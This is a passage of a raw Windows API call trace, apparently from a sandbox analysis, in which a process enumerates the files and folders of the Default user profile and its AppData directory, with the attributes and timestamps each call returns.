lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0219.100] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0219.247] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0219.247] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0219.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0219.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0219.248] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0219.248] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.249] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.250] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0219.250] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d54d8a8, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d54d8a8, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d54d8a8, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0219.250] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0219.250] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0219.250] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d527734, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d527734, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d527734, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0219.251] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0219.252] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x31bfa5a5, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xea64ab63, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xea64ab63, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0219.252] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0219.252] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x31cb9166, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x31cb9166, ftLastAccessTime.dwHighDateTime=0x1d112dc, ftLastWriteTime.dwLowDateTime=0x31cb9166, ftLastWriteTime.dwHighDateTime=0x1d112dc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0219.252] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0219.252] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d5f4e96, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d5f4e96, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d61ae52, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x8d61ae52, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x8d61ae52, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0219.254] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0219.254] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0219.254] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.254] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0219.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0219.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0219.255] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0219.255] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.257] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.257] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0219.258] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0219.258] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0219.258] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0219.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0219.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0219.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0219.258] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0219.258] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0219.258] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.259] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0219.259] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0219.259] FindNextFileW (in: hFindFile=0x1d1f5590, 